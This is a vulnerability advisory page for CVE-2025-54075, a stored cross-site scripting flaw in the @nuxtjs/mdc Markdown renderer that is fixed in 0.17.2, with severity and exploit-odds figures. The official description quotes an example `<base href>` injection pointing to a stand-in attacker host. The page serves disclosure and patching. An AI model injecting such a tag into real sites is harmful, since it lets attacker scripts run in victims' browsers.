Vulnerability · Published Jul 18, 2025 · Assigned by GitHub_M

CVE-2025-54075mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)

High 8.3

In plain English

A high-severity cross-site scripting in mdc from nuxt-modules. Proof-of-concept exploit code is public. The chance it is exploited in the next 30 days is estimated at 0.3% (higher than 28% of all known vulnerabilities). Fixed versions are available - upgrade the affected package.

Severity (CVSS 3.1)8.3High
Exploit odds (30 days)0.3%top 71.9% of all CVEs
Exploited in the wildNo reportsCISA SSVC: poc
Attack toolingNoneno public tooling known

Official description

MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

Affected packages & fixed versions

EcosystemPackageFixed inAdvisory
npm@nuxtjs/mdc0.17.2GHSA-cj6r-rrr9-fg82

Affected products (as reported)

VendorProductVersions
nuxt-modules mdc < 0.17.2

Weakness: CWE-79 · Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

References